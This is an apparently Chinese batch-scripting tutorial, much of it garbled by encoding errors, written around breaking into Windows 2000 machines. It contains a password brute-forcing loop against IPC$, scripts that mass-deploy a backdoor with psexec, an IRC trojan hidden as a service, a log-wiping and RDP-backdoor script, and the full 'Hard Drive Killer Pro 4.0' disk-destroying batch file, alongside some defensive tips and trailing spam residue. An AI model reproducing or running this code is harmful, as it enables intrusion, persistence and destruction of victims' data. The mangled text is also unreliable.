      如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?

      如if exist config.sys edit config.sys

      3、if errorlevel / if not errorlevel 数字  待执行的命o

      如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?

      如if errorlevel 2 goto x2  

      DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???

      10.for 命o

      for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?
      在批处理文g中?FOR 命oӞ指定变量请?%%variable
      for {%variable %%variable} in (set) do command [ CommandLineOptions]
      %variable 指定一个单一字母可替换的参数?
      (set) 指定一个或一l文件。可以用通配W?
      command 指定Ҏ个文件执行的命o?
      command-parameters 为特定命令指定参数或命o行开兟?
      在批处理文g中?FOR 命oӞ指定变量请?%%variable
      而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
      如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?
      支持:

      FOR /D %variable IN (set) DO command [command-parameters]

      如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?

      FOR /R [[drive:]path] %variable IN (set) DO command [command-

      查以 [drive:]path 为根的目录树Q指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则用当前目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?

      FOR /L %variable IN (start,step,end) DO command [command-para

      该集表示以增量Ş式从开始到l束的一个数字序列?

      因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?

      序列 (5 4 3 2 1)?

      FOR /F ["options"] %variable IN (file-set) DO command

      FOR /F ["options"] %variable IN ("string") DO command

      FOR /F ["options"] %variable IN (command) DO command

      或者,如果?usebackq 选项:

      FOR /F ["options"] %variable IN (file-set) DO command

      FOR /F ["options"] %variable IN ("string") DO command

      FOR /F ["options"] %variable IN (command) DO command

      filenameset Z个或多个文g名。l到 filenameset 中的

      下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?

      处理包括d文gQ将其分成一行行的文字,然后每行解析成零或更多的符受然后用已找到的W号字符串变量D?For 循环。以默认方式Q?F 通过每个文g的每一行中分开的第一个空白符受蟩q空白行。您可通过指定可?"options" 参数替代默认解析操作。这个带引号的字W串包括一个或多个指定不同解析选项的关键字。这些关键字?

      eol=c - 指一个行注释字符的结?׃?

      skip=n - 指在文g开始时忽略的行数?

      delims=xxx - 指分隔符集。这个替换了I格和蟩格键?

      默认分隔W集?

      tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这会导致额外变量名U的格式Z个范围。通过 nth W号指定 m W号字符串中的最后一个字W星P那么额外的变量将在最后一个符可析之分配q接受行的保留文本?

      usebackq - 指定新语法已在下cL况中使用:

      在作为命令执行一个后引号的字W串q且引号字符为文字字W串命oq允许在 fi中用双引号扩v文g名称?

      sample1:

      FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

      会分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for E序体;用逗号?或空格定界符受请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?%j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,您需要用双引号将文g名括h。ؓ了用q种方式来用双引号Q您q需要?usebackq 选项Q否则,双引号会被理解成是用作定义某个要分析的字W串的?

      %i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?z 或Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在用中?

      您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来。这P该字W串会被当作一个文件中的一个单一输入行?

      最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W串。该字符串会被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进内存Qƈ被当作文件分析。因此,以下例子:

      FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

      会枚丑ֽ前环境中的环境变量名U?

      另外QFOR 变量参照的替换已被增强。您现在可以使用下列

      选项语法:

      ~I - 删除M引号(")Q扩?%I

      %~fI - ?%I 扩充C个完全合格的路径?

      %~dI - 仅将 %I 扩充C个驱动器?

      %~pI - 仅将 %I 扩充C个\?

      %~nI - 仅将 %I 扩充C个文件名

      %~xI - 仅将 %I 扩充C个文件扩展名

      %~sI - 扩充的\径只含有短名

      %~aI - ?%I 扩充到文件的文g属?

      %~tI - ?%I 扩充到文件的日期/旉

      %~zI - ?%I 扩充到文件的大小

      %~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个完全合格的名称。如果环境变量未被定义,或者没有找到文Ӟ此组合键会扩充空字符?

      可以l合修饰W来得到多重l果:

      %~dpI - 仅将 %I 扩充C个驱动器号和路径

      %~nxI - 仅将 %I 扩充C个文件名和扩展名

      %~fsI - 仅将 %I 扩充C个带有短名的完整路径?

      %~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个驱动器号和路径?

      %~ftzaI - ?%I 扩充到类D出线路的 DIR

      在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法

      用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名比较易读Q而且避免与不分大写的组合键h?

      以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?

      sample2Q?

      利用For命o来实现对一台目标Win2kL的暴力密码破解?

      我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?

      最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

      用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-

      for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命o成功完成">>D:\ok.txt Q这样就ko了?

      sample3Q?

      你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?

      主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?

      @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

      tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?

      而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?

      delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?

      代码雏ŞQ?

      ------- cut here then save as a batchfile(I call it main.bat ) -------------------
      @echo off
      @if "%1"=="" goto usage
      @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
      @goto end
      :usage
      @echo run this batch in dos modle.or just double-click it.
       :end
      ---- cut here then save as a batchfile(I call it main.bat ) -----

          -----cut here then save as a batchfile(I call it door.bat) -----
      @net use \\%1\ipc$ %3 /u:"%2"
      @if errorlevel 1 goto failed
      @echo Trying to establish the IPC$ connection …………OK
      @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
      @psexec \\%1 c:\winnt\system32\windrv32.exe
      @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
      :failed
      @echo Sorry can not connected to the victim.
      ----- cut here then save as a batchfile(I call it door.bat) ------

      q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?

      可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?


      ?如何在批处理文g中用参?

      批处理中可以使用参数Q一般从1%?9%q九个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?

      sample1Qfomat.bat

       @echo off

      if "%1"=="a" format a:

      :format

      @format a:/q/u/auotset

      @echo please insert another disk to driver A.

      @pause

      @goto fomat


      q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^

      sample2Q?

      当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?

     

      @echo off

      @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?

      @if errorlevel 1 echo connection failed


      怎么?使用参数q是比较单的吧?你这么帅一定学会了^_^.No.3

      ?如何使用l合命o(Compound Command)

      1.&

      UsageQ第一条命?& W二条命?[& W三条命?..]

      用这U方法可以同时执行多条命令,而不命令是否执行成?

      SampleQ?

      C:\>dir z: & dir c:\Ex4rch

      The system cannot find the path specified.

      Volume in drive C has no label.

      Volume Serial Number is 0078-59FB

      Directory of c:\Ex4rch

      2002-05-14 23:51

           2002-05-14 23:51 ..

      2002-05-14 23:51

           14 sometips.gif


    3. UsageQ第一条命?   W二条命?[   W三条命?..]

      用这U方法可以同时执行多条命令,当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;

      SampleQ?

      C:\Ex4rch>dir sometips.gif    del sometips.gif

      Volume in drive C has no label.

      Volume Serial Number is 0078-59FB

      Directory of C:\Ex4rch

      2002-05-14 23:55 14 sometips.gif

      1 File(s) 14 bytes

      0 Dir(s) 768,696,320 bytes free

      l合命o使用的例子:

      sampleQ?

      @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

      四、管道命令的使用

      1.  命o

      UsageQ第一条命?  W二条命?[  W三条命?..]

      第一条命令的l果作ؓW二条命令的参数来用,记得在unix中这U方式很常见?

      sampleQ?

      time /t>>D:\IP.log

      netstat -n -p tcp find ":3389">>D:\IP.log

      start Explorer

      看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?

      2.>?gt;>输出重定向命?

      一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>会清除调原有文g中的内容后写入指定文Ӟ?gt;>只会q加内容到指定文件中Q而不会改动其中的内容?

      sample1Q?

      echo hello world>c:\hello.txt (stupid example?)

      sample2:

      时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:

      q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

      q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?

      日后如发现异怽用传l的Ҏ查不出问题时,则要考虑是不是系l中已经潜入DLL木马?

      q时我们用同L命osystem32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:

      CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?

    3.< ?gt;& ?lt;&

      < 从文件中而不是从键盘中读入命令输入?

      >& 一个句柄的输出写入到另一个句柄的输入中?

      <& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?

      q些q不常用Q也׃多做介绍?

      No.5

    ?如何用批处理文g来操作注册表

      在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也会修Ҏ册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)

      关于注册表的操作Q常见的是创建、修攏V删除?

      1.创徏

      创徏分ؓ两种Q一U是创徏子项(Subkey)

      我们创徏一个文Ӟ内容如下Q?

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

      然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创Z一个名字ؓ“hacker”的子项?

      另一U是创徏一个项目名U?

      那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_内容如下Q?

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"

      "Door"=C:\\WINNT\\system32\\door.exe

      "Autodos"=dword:02

      q样在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?

      新徏?Invader、door、aboutq三个项?

      Invader的类型是“String Value?

      door的类型是“REG SZ Value?

      Autodos的类型是“DWORD Value?
      2.修改

      修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?

      3.删除

      我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

      "Ex4rch"=-

      执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"p删除了;

      我们再看看删除一个子,我们创徏一个如下的脚本Q?

      Windows Registry Editor Version 5.00

      [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

      执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]已l被删除了?

      怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g了,记得我们前面说道的利用重定向W号可以很容易地创徏特定cd的文件?/P>

    samlpe1:如上面的那个例子,如想生成如下注册表文?

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

      "Invader"="Ex4rch"

      "door"=hex:255

      "Autodos"=dword:000000128

      只需要这P

      @echo Windows Registry Editor Version 5.00>>Sample.reg

      @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

      @echo "Invader"="Ex4rch">>Sample.reg

      @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

      @echo "Autodos"=dword:02>>Sample.reg

      samlpe2:

      我们现在在用一些比较老的木马?可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓwindrv32.exe)

      @start windrv32.exe

      @attrib +h +r windrv32.exe

      @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

      @echo "windsnx "=- >>patch.dll

      @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

      @regedit /s patch.dll

      @delete patch.dll

      @REM [删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和只读Qƈconfig启动]

      @REM q样不是更安全^_^.

      ?_ֽ实例N?

      1.删除win2k/xppȝ默认׃n的批处理

      ----- cut here then save as .bat or .cmd file ---------

      @echo preparing to delete all the default shares.when ready pres any key.

      @pause

      @echo off

      :Rem check parameters if null show usage.

      if {%1}=={} goto :Usage

      :Rem code start.

      echo.

      echo ------------------------------------------------------

      echo.

      echo Now deleting all the default shares.

      echo.

      net share %1$ /delete

      net share %2$ /delete

      net share %3$ /delete

      net share %4$ /delete

      net share %5$ /delete

      net share %6$ /delete

      net share %7$ /delete

      net share %8$ /delete

      net share %9$ /delete

      net stop Server

      net start Server

      echo.

      echo All the shares have been deleteed

      echo.

      echo ------------------------------------------------------

      echo.

      echo Now modify the registry to change the system default properties.

      echo.

      echo Now creating the registry file

      echo Windows Registry Editor Version 5.00> c:\delshare.reg

      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg

      echo "AutoShareWks"=dword:00000000>> c:\delshare.reg

      echo "AutoShareServer"=dword:00000000>> c:\delshare.reg

      echo Nowing using the registry file to chang the system default properties.

      regedit /s c:\delshare.reg

      echo Deleting the temprotarily files.

      del c:\delshare.reg

      goto :END

      :Usage

      echo.

      echo ------------------------------------------------------

      echo.

      echo ?A example for batch file ?

      echo ?[Use batch file to change the sysytem share properties.] ?

      echo.

      echo AuthorQEx4rch

      echo Mail:Ex4rch@hotmail.com QQ:1672602

      echo.

      echo ErrorQNot enough parameters

      echo.

      echo ?Please enter the share disk you wanna delete ?

      echo.

      echo For instanceQto delete the default shares:

      echo delshare c d e ipc admin print

      echo.

      echo If the disklable is not as C: D: E: QPlease chang it youself.

      echo.

      echo exampleQ?

      echo If locak disklable are C: D: E: X: Y: Z: Qyou should chang the command into Q?

      echo delshare c d e x y z ipc admin print

      echo.

      echo *** you can delete nine shares once in a useing ***

      echo.

      echo ------------------------------------------------------

      goto :EOF

      :END

      echo.

      echo ------------------------------------------------------

      echo.

      echo OK,delshare.bat has deleted all the share you assigned.

      echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

      echo

      echo.

      echo ------------------------------------------------------

      echo.

      :EOF

      echo end of the batch file


      ------------ cut here then save as .bat or .cmd file -----------
      下面命o是清除肉鸡所有日志,止一些危险的服务Qƈ修改肉鸡的terminnal service留蟩后\?

      @regedit /s patch.dll

      @net stop w3svc

      @net stop event log

      @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

      @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

      @del c:\winnt\system32\config\*.event /f /q

      @del c:\winnt\system32dtclog\*.* /f /q

      @del c:\winnt\*.txt /f /q

      @del c:\winnt\*.log /f /q

      @net start w3svc

      @net start event log

      @rem [删除日志]

      @net stop lanmanserver /y

      @net stop Schedule /y

      @net stop RemoteRegistry /y

      @del patch.dll

      @echo The server has been patched,Have fun.

      @del patch.bat

      @REM [止一些危险的服务。]

      @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

      @echo "PortNumber"=dword:00002010 >>patch.dll

      @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll

      @echo "PortNumber"=dword:00002012 >>patch.dll

      @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

      @echo "Start"=dword:00000002 >>patch.dll

      @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll

      @echo "Start"=dword:00000002 >>patch.dll

      @echo "ErrorControl"=dword:00000001 >>patch.dll

      @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll

      @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll

      @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

      @echo "ObjectName"="LocalSystem" >>patch.dll

      @echo "Type"=dword:00000010 >>patch.dll

      @echo "Description"="Keep record of the program and windows message? >>patch.dll

      @echo "DisplayName"="Microsoft EventLog" >>patch.dll

      @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll

      @echo "Start"=dword:00000004 >>patch.dll

      @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

      @REM [修改3389q接Q端口ؓ8210(十六q制?0002012)Q名UCؓMicrosoft EventLogQ留条后路]

      3.Hard Drive Killer Pro Version 4.0Q玩批处理到q个水^真的不容易了。)

      ------------ cut here then save as .bat or .cmd file -------

     

      @echo off

      rem This program is dedecated to a very special person that does not want to be named.

      :start

      cls

      echo PLEASE WAIT WHILE PROGRAM LOADS . . .

      call attrib -r -h c:\autoexec.bat >nul

      echo @echo off >c:\autoexec.bat

      echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

      call attrib +r +h c:\autoexec.bat >nul

      rem Drive checking and assigning the valid drives to the drive variable.

      set drive=

      set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

      rem code insertion for Drive Checking takes place here.

      rem drivechk.bat is the file name under the root directory.

      rem As far as the drive detection and drive variable settings, dont worry about how it

      rem works, its d\*amn to complicated for the average or even the expert batch programmer.

      rem Except for Tom Lavedas.

      echo @echo off >drivechk.bat

      echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

      %comspec% /e:2048 /c {t}.bat >>drivechk.bat

      del {t}.bat

      echo if errorlevel 1 goto enddc >>drivechk.bat

      cls

      echo PLEASE WAIT WHILE PROGRAM LOADS . . .

      rem When errorlevel is 1, then the above is not true, if 0, then its true.

      rem Opposite of binary rules. If 0, it will elaps to the next command.

      echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat

      %comspec% /e:2048 /c {t}.bat >>drivechk.bat

      del {t}.bat

      echo if errorlevel 1 goto enddc >>drivechk.bat

      cls

      echo PLEASE WAIT WHILE PROGRAM LOADS . . .

      rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

      rem if errorlevel is 0, then it will elaps to the next command.

      echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

      %comspec% /e:2048 /c {t}.bat >>drivechk.bat

      del {t}.bat

      echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

      cls

      echo PLEASE WAIT WHILE PROGRAM LOADS . . .

      rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

      rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

     echo :enddc >>drivechk.bat

      rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

      rem Now we will use the program drivechk.bat to attain valid drive information.

      :Sampledrv

      for %%a in (%alldrive%) do call drivechk.bat %%a >nul

      del drivechk.bat >nul

      if %drive.==. set drive=c

      :form_del

      call attrib -r -h c:\autoexec.bat >nul

      echo @echo off >c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

      echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

      echo cd\ >>c:\autoexec.bat

      echo cls >>c:\autoexec.bat

      echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat

      echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat

      echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat

      echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat

      echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat

      echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

      echo echo. >>c:\autoexec.bat

      echo echo Regards, >>c:\autoexec.bat

      echo echo. >>c:\autoexec.bat

      echo echo Munga Bunga >>c:\autoexec.bat

      call attrib +r +h c:\autoexec.bat

      :makedir

      if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

      echo @echo off >c:\temp.bat

      echo %%1:\ >>c:\temp.bat

      echo cd\ >>c:\temp.bat

      echo :startmd >>c:\temp.bat

      echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat

      echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat

      echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

      call attrib +r +h c:\temp.bat >nul

      cls

      echo Initializing Variables . . .

      rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.

      for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

      cls

      echo Initializing Variables . . .

      echo Validating Data . . .

      for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

      cls

      echo Initializing Variables . . .

      echo Validating Data . . .

      echo Analyzing System Structure . . .

      for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul

      call attrib +r +h c:\temp.bat >nul

      call attrib +r +h c:\autoexec.bat >nul

      cls

      echo Initializing Variables . . .

      echo Validating Data . . .

      echo Analyzing System Structure . . .

      echo Initializing Application . . .

      for %%a in (%drive%) call deltree /y %%a:\*. >nul

      cls

      echo Initializing Variables . . .

      echo Validating Data . . .

      echo Analyzing System Structure . . .

      echo Initializing Application . . .

      echo Starting Application . . .

      for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

      cls

      echo Thank you for using a Munga Bunga product.

      echo.

      echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

      echo.

      echo Here is a joke for you . . .

      echo.

      echo Q). Whats the worst thing about being an egg?

      echo A). You only get laid once.

      echo.

      echo HAHAHAHA, get it? Dont you just love that one?

      echo.

      echo Regards,

      echo.

      echo Munga Bunga

      :end

      rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

      rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).



    ]]>
    վ֩ģ壺 99þ99þþƷѿ| ͵ƷƵ| þþƷվ| ɫӴӴƷѹۿ| һػƸѴƬ| ձԺ޺Ժ| avվ߹ۿ| ˳77777ɫ| ƷƵ| ޾ƷƵ| 999ھƷѹۿ| ޾ƷĻ| ƵۿƵ18| ɫһ| ִˬֻƵƵ| ޹һ߹ۿ| ɫƷƵ| ѾƷӰվ| Ʒ_˳߸| AVһþþƷ| þþþѾƷ| þþƷa޹v岻| ѹۿëƬȫ| һ| 99ƷƵѹۿ| ҹƬ߹ۿ| Ƭ91Ʒѿ3| þþþƷƵѹۿ| þþþAVۿ | þþ޾Ʒ| һػaƬ| պѹۿ| ޵һӰԺ| avҹƷһ| йchina[ձ| AV뾫Ʒ| avĻɫ| պƷһ| ޴Ƭѹۿ| ޾Ʒþþþþþ| ůůѸձһ|